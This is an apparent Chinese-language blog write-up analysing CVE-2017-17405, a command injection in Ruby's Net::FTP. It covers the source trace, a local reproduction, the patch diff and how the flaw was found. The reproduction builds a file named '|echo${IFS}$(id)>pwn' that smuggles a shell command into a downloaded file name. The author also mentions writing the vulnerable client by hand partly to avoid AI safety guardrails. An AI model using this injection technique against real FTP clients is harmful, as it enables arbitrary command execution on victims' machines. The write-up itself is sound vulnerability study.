漏洞卡片#
Ruby 是一门动态、面向对象的通用编程语言,由日本程序员松本行弘(Matz)设计,1995 年公开发布。它的核心理念是“让程序员快乐”,所以语法读起来很接近自然语言,写起来也很灵活。
漏洞描述:Ruby 2.4.3 之前的版本,Net::FTP 中的 get、getbinaryfile、gettextfile、put、putbinaryfile 和 puttextfile 方法均使用了 Kernel#open 来打开本地文件(localfile)。如果 localfile 以管道字符 | 开头,则会执行该管道字符后面的命令。而 localfile 的默认值为 File.basename(remotefile),即其值可能受用户控制,因此恶意 FTP 服务器可能导致任意命令执行。
其中:
- Net::FTP 表示的是一个命名空间,即 Net 模块中的 FTP 类,对应文件
/lib/net/ftp.rb Kernel#open表示的是kernal模块中的open方法
这两种表述在 Ruby 文档或者技术交流中很常见(下面可能还会遇到),大致可以概括为:
<命令空间>::<常量><类或模块>#<方法>
影响版本:< 2.4.3
Base Score:8.8 HIGH
Vector:CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
漏洞讲解#
ftp.rb(文件位置:/lib/net/ftp.rb):
def gettextfile(remotefile, localfile = File.basename(remotefile),
&block) # :yield: line
f = nil
result = nil
if localfile
f = open(localfile, "w")
elsif !block_given?
result = String.new
end
[snip]
end追踪 open()(来到文件:/lib/open-uri.rb):
module Kernel
private
alias open_uri_original_open open # :nodoc:
class << self
alias open_uri_original_open open # :nodoc:
end
def open(name, *rest, &block) # :doc:
if name.respond_to?(:open)
name.open(*rest, &block)
elsif name.respond_to?(:to_str) &&
%r{\A[A-Za-z][A-Za-z0-9+\-\.]*://} =~ name &&
(uri = URI.parse(name)).respond_to?(:open)
uri.open(*rest, &block)
else
open_uri_original_open(name, *rest, &block)
end
end
module_function :open
end如果 localfile:
- 不存在
open方法(对应if判断),并且 - 内容不是
xxx://开头的字符串(对应elsif判断)
则会使用 Ruby 内置的 open,其实现在 /io.c 文件中:
static VALUE
rb_f_open(int argc, VALUE *argv)
{
ID to_open = 0;
int redirect = FALSE;
if (argc >= 1) {
CONST_ID(to_open, "to_open");
if (rb_respond_to(argv[0], to_open)) {
redirect = TRUE;
}
else {
VALUE tmp = argv[0];
FilePathValue(tmp);
if (NIL_P(tmp)) {
redirect = TRUE;
}
else {
VALUE cmd = check_pipe_command(tmp);
if (!NIL_P(cmd)) {
argv[0] = cmd;
return rb_io_s_popen(argc, argv, rb_cIO);
}
}
}
}
if (redirect) {
VALUE io = rb_funcallv(argv[0], to_open, argc-1, argv+1);
if (rb_block_given_p()) {
return rb_ensure(rb_yield, io, io_close, io);
}
return io;
}
return rb_io_s_open(argc, argv, rb_cFile);
}对 localfile 会进行两轮的检测:
- 如果含
to_open方法,则会走if(redirect)分支 FilePathValue会检查localfile是否为 String 类型,如果不是则会尝试转换,如果转换失败了会走if(redirect)分支
若 localfile 均未使 redirect 变 TRUE,则进入管道命令判断:
VALUE cmd = check_pipe_command(tmp);
if (!NIL_P(cmd)) {
argv[0] = cmd;
return rb_io_s_popen(argc, argv, rb_cIO);
}若发现管道命令(| command),则会调用 rb_io_s_popen。
rb_io_s_popen 是 IO.popen() 的 C 语言实现,其大致在做的事情:
pipe()创建管道fork()出子进程- 子进程用
dup2()将stdout/stdin接到管道,接着调用exec去执行目标命令 - 父进程拿着管道另一端,包装成 IO 对象返回给你
因此,类似 | id 这样的文件名能成功到达 rb_io_s_popen,并获得命令执行后的结果。
复现#
首先,你需要切换 ruby 的版本,推荐使用 rbenv 工具(相关使用和介绍可以看这篇文章)。
我这已经安装好了 2.4.2 版本:
$ rbenv versions
system
* 2.4.2 (set by RBENV_VERSION environment variable)将当前终端中的 ruby 版本都切换到 2.4.2:
$ rbenv shell 2.4.2验证:
$ ruby --version
ruby 2.4.2p198 (2017-09-14 revision 59899) [x86_64-linux]我让 AI(Claude Sonnet 5.5 High)用 Ruby 实现了 FTP 服务器端:
# s.rb
require 'socket'
class Session
USERS = { 'demo' => '123456' }
def initialize(sock, root)
@ctrl = sock
@root = root
@cwd = '/'
@user = nil
@authed = false
@data_server = nil
end
def reply(code, msg)
@ctrl.write("#{code} #{msg}\r\n")
end
# 虚拟路径 -> 真实路径。expand_path 会把 ".." 限制在 "/" 内,防止越权
def resolve(path)
virtual = path.to_s.start_with?('/') ? path : File.join(@cwd, path.to_s)
virtual = File.expand_path(virtual, '/')
[virtual, File.join(@root, virtual)]
end
def run
reply 220, 'Mini Ruby FTP ready'
while (line = @ctrl.gets)
cmd, arg = line.strip.split(' ', 2)
cmd = cmd.to_s.upcase
unless @authed || %w[USER PASS QUIT].include?(cmd)
reply 530, 'Please login first'
next
end
case cmd
when 'USER' then @user = arg; reply 331, 'Password required'
when 'PASS'
if @user == 'anonymous' || USERS[@user] && USERS[@user] == arg
@authed = true
reply 230, 'Login successful'
else
reply 530, 'Login incorrect'
end
when 'SYST' then reply 215, 'UNIX Type: L8'
when 'TYPE' then reply 200, 'Type set'
when 'PWD' then reply 257, "\"#{@cwd}\" is current directory"
when 'CWD'
virtual, real = resolve(arg)
if File.directory?(real)
@cwd = virtual
reply 250, 'Directory changed'
else
reply 550, 'No such directory'
end
when 'CDUP'
@cwd = File.expand_path('..', @cwd)
reply 250, 'Directory changed'
when 'PASV' then pasv
when 'LIST', 'NLST' then list(cmd, arg)
when 'SIZE'
_, real = resolve(arg)
File.file?(real) ? reply(213, File.size(real)) : reply(550, 'No such file')
when 'RETR' then retr(arg)
when 'STOR' then stor(arg)
when 'DELE'
_, real = resolve(arg)
File.file?(real) ? (File.delete(real); reply(250, 'Deleted')) : reply(550, 'No such file')
when 'MKD'
virtual, real = resolve(arg)
Dir.mkdir(real) rescue (reply(550, 'Failed') and next)
reply 257, "\"#{virtual}\" created"
when 'QUIT' then reply 221, 'Goodbye'; break
else reply 502, 'Command not implemented'
end
end
rescue => e
warn "session error: #{e.message}"
ensure
@data_server&.close
@ctrl.close
end
private
def pasv
@data_server&.close
@data_server = TCPServer.new('0.0.0.0', 0) # 0 = 系统分配空闲端口
port = @data_server.addr[1]
ip = @ctrl.local_address.ip_address.tr('.', ',')
reply 227, "Entering Passive Mode (#{ip},#{port / 256},#{port % 256})"
end
# 建立数据连接并执行传输块
def with_data
return reply(425, 'Use PASV first') unless @data_server
reply 150, 'Opening data connection'
conn = @data_server.accept
yield conn
reply 226, 'Transfer complete'
ensure
conn&.close
@data_server&.close
@data_server = nil
end
def list(cmd, arg)
arg = nil if arg.to_s.start_with?('-') # 忽略 "-a" 之类的选项
_, real = resolve(arg)
return reply(550, 'No such directory') unless File.directory?(real)
with_data do |conn|
Dir.entries(real).reject { |n| n == '.' || n == '..' }.sort.each do |name|
if cmd == 'NLST'
conn.write("#{name}\r\n")
else
st = File.stat(File.join(real, name))
type = st.directory? ? 'd' : '-'
conn.write("#{type}rw-r--r-- 1 ftp ftp #{st.size} " \
"#{st.mtime.strftime('%b %e %H:%M')} #{name}\r\n")
end
end
end
end
def retr(arg)
_, real = resolve(arg)
return reply(550, 'No such file') unless File.file?(real)
with_data do |conn|
File.open(real, 'rb') { |f| IO.copy_stream(f, conn) }
end
end
def stor(arg)
_, real = resolve(arg)
with_data do |conn|
File.open(real, 'wb') { |f| IO.copy_stream(conn, f) }
end
end
end
root = File.realpath(ARGV[0] || './ftp_root')
Dir.mkdir(root) unless Dir.exist?(root)
server = TCPServer.new('0.0.0.0', 2121)
puts "FTP server listening on 2121, root=#{root}"
loop do
Thread.new(server.accept) { |sock| Session.new(sock, root).run }
end你需要向 AI 指明你所用的 Ruby 版本,否则可能会出现新版本的写法(旧版本会报错)。
启用 FTP 服务器的方法:
ruby s.rb ./root其中 root 是 FTP 根目录。
我在 root 目录中写了一个 Python 脚本用于创建恶意文件:
filename = '|echo${IFS}$(id)>pwn'
with open(filename,'w') as f:
f.write('CVE-2017-17405')这将在当前目录中生成一个名为 |echo${IFS}$(id)>pwn 的文件。
接下来写客户端来模拟受害者,通过 FTP 去下载 root 中的所有文件:
require "net/ftp"
ftp = Net::FTP.new
ftp.connect('127.0.0.1', 2121)
ftp.login('demo', '123456')
begin
ftp.nlst.each do |file|
ftp.gettextfile(file)
end
ensure
ftp.close
end这里为什么没有用 AI 代写呢?原因有三:
- 要写的代码不会特别长(官方文档有示例,且和 Python 差不多用法)
- 需要用到那些存在漏洞的函数
- 安全护栏(有漏洞版本中使用有漏洞的函数可能会触发安全护栏)
确保当前 ruby 的版本已经切换到 2.4.2(或者其他存在漏洞的版本):
$ ruby --version
ruby 2.4.2p198 (2017-09-14 revision 59899) [x86_64-linux]启动 FTP Server:
$ ruby s.rb ./root
FTP server listening on 2121, root=/home/zyf/tmp/root
启动客户端:
$ ruby c.rb此时就能看到当前目录中出现 pwn 文件,并且里面是 id 命令的结果:
$ ls
c.rb pwn root s.rb
$ cat pwn
uid=1000(zyf) gid=1005(zyf) 组=1005(zyf),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),101(netdev),1000(lpadmin),1001(scanner),1002(bluetooth),1003(docker),1004(podman)Diff#
我在本地下载了 ruby-2.4.2 和 ruby-2.4.3,针对这两个版本进行 diff:
$ diff -u ruby-2.4.2/ruby-2.4.2/lib/net/ftp.rb ruby-2.4.3/ruby-2.4.3/lib/net/ftp.rbdiff 的相关用法可见笔记。
--- ruby-2.4.2/ruby-2.4.2/lib/net/ftp.rb 2016-11-29 16:44:21.000000000 +0800
+++ ruby-2.4.3/ruby-2.4.3/lib/net/ftp.rb 2017-12-14 21:51:34.000000000 +0800
@@ -754,10 +754,10 @@
if localfile
if @resume
rest_offset = File.size?(localfile)
- f = open(localfile, "a")
+ f = File.open(localfile, "a")
else
rest_offset = nil
- f = open(localfile, "w")
+ f = File.open(localfile, "w")
end
elsif !block_given?
result = String.new
@@ -787,7 +787,7 @@
f = nil
result = nil
if localfile
- f = open(localfile, "w")
+ f = File.open(localfile, "w")
elsif !block_given?
result = String.new
end
@@ -833,7 +833,7 @@
else
rest_offset = nil
end
- f = open(localfile)
+ f = File.open(localfile)
begin
f.binmode
if rest_offset
@@ -852,7 +852,7 @@
# passing in the transmitted data one line at a time.
#
def puttextfile(localfile, remotefile = File.basename(localfile), &block) # :yield: line
- f = open(localfile)
+ f = File.open(localfile)
begin
storlines("STOR #{remotefile}", f, &block)
ensure核心:将 open 替换成了 File.open。
File 继承自 IO:
class File < IO由于 File 中并没有重写 open 方法, 因此调用 File.open 等价于调用 IO.open,其 C 语言实现(文件位于:/io.c):
static VALUE
rb_io_s_open(int argc, VALUE *argv, VALUE klass)
{
VALUE io = rb_class_new_instance(argc, argv, klass);
if (rb_block_given_p()) {
return rb_ensure(rb_yield, io, io_close, io);
}
return io;
}非常简短,追踪 rb_class_new_instance(位于:/object.c):
VALUE
rb_class_new_instance(int argc, const VALUE *argv, VALUE klass)
{
VALUE obj;
obj = rb_obj_alloc(klass);
rb_obj_call_init(obj, argc, argv);
return obj;
}继续追踪 rb_obj_call_init(文件:eval.c):
void
rb_obj_call_init(VALUE obj, int argc, const VALUE *argv)
{
PASS_PASSED_BLOCK_HANDLER();
rb_funcallv(obj, idInitialize, argc, argv);
}rb_funcallyv 会进行方法查找,对于文件对象(File)就是找到 File#initialize:
rb_define_method(rb_cFile, "initialize", rb_file_initialize, -1);最终可以追踪到 open:
rb_file_initialize → rb_open_file → rb_sysopen → open(2)过程中并没有对管道符的特殊处理,仅仅只是打开文件,原先可用的:
| id在这条链路上仅仅只是打开了一个名字奇怪的文件而已。
推测安全研究员的发现经过#
Etienne Stalmans(漏洞发现者)其实将发现经过写得很详细:
libcurl出现了一个漏洞(CVE-2017-8817)- 研究者所在公司(Heroku)对外提供应用托管平台,每有相关漏洞披露就需要检查自己的产品是否受到影响
- 修补漏洞的同时,研究者灵机一动,想到别的库中对 FTP 的实现是否存在相同的问题(级联发现的思想)
- 研究者首先锚定的目标就是 Ruby(因为自家客户很多人在用)
- 发现 Ruby 虽然没有直接用到
libcurl,但是其对 FTP 功能的实现非常的简短(共 1496 行代码)且只有一个文件(ftp.rb),研究者便来了继续往下检查的兴趣 - 通过
grep一些 Ruby 中常见的 Sink(主要是 RCE 那块,比如command、IO.popen(command)、kernal.open("| command")……),研究者便发现了kernal#open的使用 - 发现传入
kernal#open的参数localfile可能受外部控制(localfile = File.basename(remotefile)),并且没有相应的过滤措施
CheckLists#
- 级联发现
- 主动检索常见 Sink